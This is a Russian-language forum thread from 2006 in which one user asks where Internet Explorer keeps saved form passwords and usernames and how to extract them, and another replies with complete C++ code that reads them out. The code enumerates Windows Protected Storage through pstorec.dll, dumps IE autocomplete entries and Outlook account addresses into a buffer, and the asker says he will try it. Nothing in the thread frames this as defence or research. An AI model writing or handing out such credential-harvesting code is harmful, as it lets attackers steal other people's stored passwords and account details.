Автозаполнения Internet Explorer

Тема в разделе "WASM.WIN32", создана пользователем provocateur, 5 дек 2006.

  1. provocateur

    provocateur Member

    Публикаций:
    0
    Регистрация:
    5 дек 2006
    Сообщения:
    118
    пароли и имена при вводе в формах на сайтах.

    может кто знает где хранится?
    еще я слышал что эти данные можно получать с помощью API. подскажите где копать
     
  2. Cr4sh

    Cr4sh New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2006
    Сообщения:
    668
    В Protected Storage хранятся... вот нашел код, выдирающий пассы оттуда
    Код (Text):
    1. int GetPSPasswords()
    2. {
    3.    
    4. typedef HRESULT (WINAPI *PStoreCreateInstancePtr)(IPStore **, DWORD, DWORD, DWORD);
    5. PStoreCreateInstancePtr PStoreCreateInstance;
    6.  
    7.     HMODULE hPstoreDLL;
    8.     HRESULT hRes;
    9.     IPStorePtr spPStore;
    10.     IEnumPStoreTypesPtr spEnumTypes,spEnumSubTypes;
    11.     IEnumPStoreItemsPtr spEnumItems;
    12.     GUID typeGUID,subtypeGUID;
    13.     _PST_TYPEINFO *typeinfo;
    14.    
    15.     unsigned long typesFetched,subtypesFetched,itemsFetched;
    16.     LPWSTR  item;
    17.     DWORD dwFlags=0;
    18.     DWORD cbdata,n=0;
    19.     char *bdata;
    20.     bool its_str,its_wstr;
    21.    
    22.     memset(Buf,'\0',sizeof(Buf));  
    23.    
    24.     hPstoreDLL=LoadLibrary("pstorec.dll");  
    25.     PStoreCreateInstance=(PStoreCreateInstancePtr)GetProcAddress(hPstoreDLL, "PStoreCreateInstance");
    26.     hRes=PStoreCreateInstance(&spPStore, 0, 0, 0);
    27.      
    28.     hRes=spPStore->EnumTypes(0,0,&spEnumTypes);
    29.     do
    30.     {
    31.         hRes=spEnumTypes->raw_Next(1,&typeGUID,&typesFetched);
    32.         if (!typesFetched) break;  
    33.         hRes=spPStore->GetTypeInfo(0,&typeGUID,&typeinfo,0);       
    34.         hRes=spPStore->EnumSubtypes(0,&typeGUID,0,&spEnumSubTypes);
    35.         do
    36.         {
    37.             hRes=spEnumSubTypes->raw_Next(1,&subtypeGUID,&subtypesFetched);
    38.             if (!subtypesFetched) break;
    39.             hRes=spPStore->GetTypeInfo(0,&typeGUID,&typeinfo,0);
    40.             hRes=spPStore->EnumItems(0,&typeGUID,&subtypeGUID,0,&spEnumItems);
    41.             do
    42.             {
    43.                 hRes=spEnumItems->raw_Next(1,&item,&itemsFetched);             
    44.                 if (!itemsFetched) break;
    45.  
    46.                 if(wcsstr(item,L"StringIndex") || wcsstr(item,L"IdentitiesPass")) continue;
    47.  
    48.                 if(wcsstr(typeinfo->szDisplayName,L"Identification") &&  !strstr(Buf,"\n\nOutlook Info:\n\n"))
    49.                 {                  
    50.                     if(RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Account Manager\\Accounts",&hKey)==ERROR_SUCCESS)
    51.                     {
    52.                         strcat(Buf,"\n\nOutlook Info:\n\n");
    53.                         memset(sbuf,'\0',sizeof(sbuf));
    54.                         dw=RegEnumKey(hKey,n++,sbuf,sizeof(sbuf));
    55.                         while (dw==ERROR_SUCCESS)
    56.                         {
    57.                           if (RegOpenKey(hKey,sbuf,&hKey2)==ERROR_SUCCESS)
    58.                           {
    59.                             memset(sbuf2,'\0',sizeof(sbuf2));
    60.                             dw2=sizeof(sbuf2);
    61.                             if (RegQueryValueEx(hKey2,"SMTP Email Address",0,NULL,(LPBYTE)sbuf2,&dw2)==ERROR_SUCCESS)
    62.                             {          
    63.                                 strcat(Buf,sbuf2);
    64.                                 strcat(Buf,"\n");      
    65.                             }      
    66.                             RegCloseKey(hKey2);
    67.                           }
    68.                           memset(sbuf,'\0',sizeof(sbuf));
    69.                           dw=RegEnumKey(hKey,n++,sbuf,sizeof(sbuf));
    70.                         }
    71.                         RegCloseKey(hKey);
    72.                     }          
    73.                 }
    74.  
    75.                 if(wcsstr(typeinfo->szDisplayName,L"Internet Explorer") &&  !strstr(Buf,"\n\nIE AutoComplete Info:\n\n"))
    76.                 {
    77.                     strcat(Buf,"\n\nIE AutoComplete Info:\n\n");
    78.                 }
    79.  
    80.                 memset(sbuf,'\0',sizeof(sbuf));
    81.                 WideCharToMultiByte(CP_ACP,dwFlags,item,wcslen(item),sbuf,sizeof(sbuf),NULL,NULL);
    82.                
    83.                 if (strstr(sbuf,"StringData") && !strstr(sbuf,"http://")) continue; //фильтрация item
    84.  
    85.                 if (pstr=strstr(sbuf,"StringData"))
    86.                 {
    87.                     *--pstr='\0';
    88.                     strcat(Buf,sbuf);
    89.                     strcat(Buf,"\n");
    90.                 }
    91.                 else
    92.                 {
    93.                     strcat(Buf,sbuf);
    94.                     strcat(Buf,"  :  ");
    95.                 }              
    96.                
    97.                 hRes=spPStore->ReadItem(0,&typeGUID,&subtypeGUID,item,&cbdata,(LPBYTE*)&bdata,NULL,0);             
    98.                 if (!IsBadStringPtr(bdata,cbdata))
    99.                 {
    100.                     its_str=(strlen(bdata)==cbdata-1);
    101.                     its_wstr=(wcslen((LPWSTR)bdata)==cbdata-1);
    102.                 }
    103.                 if (its_str)
    104.                 {
    105.                     strcat(Buf,bdata);
    106.                     strcat(Buf,"\n");
    107.                 }
    108.                 else if (its_wstr)
    109.                 {
    110.                     memset(sbuf,'\0',sizeof(sbuf));
    111.                     WideCharToMultiByte(CP_ACP,dwFlags,(LPWSTR)bdata,strlen(bdata),sbuf,sizeof(sbuf),NULL,NULL);
    112.                     strcat(Buf,sbuf);
    113.                     strcat(Buf,"\n");
    114.                 }
    115.                 else PSHexPrint(bdata,cbdata);
    116.             }
    117.             while (1);
    118.  
    119.         }
    120.         while (1);
    121.  
    122.     }
    123.     while (1);
    124.  
    125.    
    126.    
    127.     return 1;
    128. }
    129.  
    130. void PSHexPrint(char *buf, int size)
    131. {
    132.     char ch[2]="\0";
    133.     int nul=0;
    134.  
    135.     for (int i=0;i<size;i++)
    136.     {
    137.             int z=(unsigned char)buf[i];           
    138.             if(z==0)               
    139.             {
    140.                 int z=(unsigned char)buf[i+1];
    141.                 if(z==0)
    142.                 {
    143.                     nul++;                 
    144.                     if(fmod(nul,2))
    145.                     {
    146.                         if(!(size==i+3)) strcat(Buf," : ");                                    
    147.                     }
    148.                     else strcat(Buf,"\n");
    149.                     i+=2;
    150.                 }
    151.                 continue;
    152.             }
    153.             sprintf(ch,"%c",z);
    154.             strcat(Buf,ch);
    155.     }
    156.    
    157. }
     
  3. provocateur

    provocateur Member

    Публикаций:
    0
    Регистрация:
    5 дек 2006
    Сообщения:
    118
    спасибо. буду пробовать